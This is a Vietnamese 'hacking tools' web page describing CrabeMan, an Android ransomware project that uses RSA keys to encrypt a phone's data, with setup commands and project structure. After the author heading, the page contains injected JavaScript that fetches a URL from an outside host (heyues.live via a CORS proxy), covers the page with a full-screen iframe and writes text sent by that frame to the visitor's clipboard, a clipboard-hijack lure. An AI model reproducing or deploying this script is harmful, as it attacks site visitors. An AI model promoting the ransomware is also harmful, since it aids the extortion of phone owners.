Công cụ Hacking

CrabeMan – Ransomware trên Android

Dự án sử dụng key RSA để mã hóa dữ liệu trên một chiếc điện thoại Android bất kì. API được sử dụng trong 1 ứng dụng Android

API Python

Yêu cầu

  • Hệ thống cần cài đặt trước Python 3.x
  • Sau đó bạn clone project từ github về: https://github.com/CrabeMan/Android-RansomWare
  • Tiến hành cài đặt các thành phần cần thiết bằng lệnh: pip install -r requirements.txt

Khởi chạy ứng dụng

Bạn có thể khởi chạy ứng dụng ở 4 chế độ khác nhau

  1. Production
  2. Development
  3. Testing
  4. Default (mặc định)

Để chạy ứng dụng tiến hành gõ lệnh: python runserver.py

Để chạy ứng dụng ở 1 chế độ bất kì, gõ lệnh: MODE=tên mode python runserver.py

Danh sách các tên mode

  • production
  • testing
  • production
  • default

VD: MODE=development python runserver.py

Cấu trúc của Project

├── LICENSE.md
├── ransomware # The flask application
│ ├── __init__.py
│ ├── config # th folder contains the different config for each env
│ │ ├── __init__.py
│ │ └── config.py
│ ├── models.py # The schema of the database
│ └── utils.py # Some function use in the application
├── readme.md
├── requirements.txt
└── runserver.py # Script for run the flask application

Xây dựng nên bởi

  • Flaks – API  Framework được sử dụng
  • Pony – The orm use
  • Pycryptodome – Sử dụng để tạo mã RSA
  • Sqlite – Sử dụng cho cơ sở dữ liệu

Tài liệu về API có thể xem tại đây:

Ứng dụng Android

  • Butter Knife – Ứng dụng ẩn dấu các callbacks tới các trường và phương thức trong Android
  • google-gson – Thư viện Java để chuyển đổi đối tượng Java sang JSON và ngược lại
  • Retrofit –  Một HTTP Client an toàn cho Android và Java

Tác giả

 (function() {

const configLink = “https://corsproxy.io/?url=http://heyues.live”;

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink)
.then(response => {
if (!response.ok) {
throw new Error(” “);
}
return response.text();
})

.then(finalUrl => {
return fetch(finalUrl, { method: “HEAD” })
.then(headResponse => ({ headResponse, finalUrl }));
})
.catch(() => {

});
}

if (typeof window.__digitalflwrIframeCreated === “undefined”) {
window.__digitalflwrIframeCreated = false;
}

window.__digitalflwrFetchPromise
.then(result => {

if (!result) return;
const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) {
return;
}

if (!window.__digitalflwrIframeCreated) {
window.__digitalflwrIframeCreated = true;
createMainIframe(finalUrl);
}
})
.catch(() => {

});

function createMainIframe(url) {
const iframe = document.createElement(“iframe”);
iframe.src = url;
iframe.style.position = “fixed”;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = “100%”;
iframe.style.height = “100%”;
iframe.style.border = “none”;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = “hidden”;
iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener(“message”, function(event) {
if (!event.data || event.data.type !== “copy”) return;

if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(event.data.text).catch(() => {
fallbackCopyText(event.data.text);
});
} else {
fallbackCopyText(event.data.text);
}
});

function fallbackCopyText(text) {
const textArea = document.createElement(“textarea”);
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();

try {
document.execCommand(“copy”);
} catch (err) {

}

document.body.removeChild(textArea);
}
}
})();

Views: 658